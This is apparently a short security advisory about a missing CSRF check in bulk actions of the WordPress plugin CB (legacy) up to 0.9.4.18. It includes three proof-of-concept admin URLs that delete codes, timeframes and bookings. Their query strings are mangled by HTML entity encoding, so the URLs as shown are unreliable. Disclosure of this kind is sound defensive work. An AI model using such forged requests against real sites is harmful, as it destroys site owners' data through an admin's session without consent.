CB (legacy) <= 0.9.4.18 - Code/Timeframe/Booking Deletion via CSRF

Description The plugin does not have CSRF checks in some bulk actions, which could allow attackers to make logged in admins perform unwanted actions, such as deleting codes, timeframes, and bookings via CSRF attacks

PoC

Codes: https://example.com/wp-admin/admin.php?page=cb_codes&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_codes&amp;action;=delete&amp;filterby-Items;=&amp;paged;=1&amp;id;[]=1&amp;action2;=delete Timeframes: https://example.com/wp-admin/admin.php?page=cb_timeframes&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_timeframes&amp;action;=delete&amp;filterby-Items;=&amp;paged;=1&amp;id;[0]=1&amp;action2;=delete Bookings: https://example.com/wp-admin/admin.php?page=cb_bookings&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_bookings&amp;action;=delete&amp;filterby-Items;=&amp;paged;=1&amp;id;[0]=1&amp;action2;=delete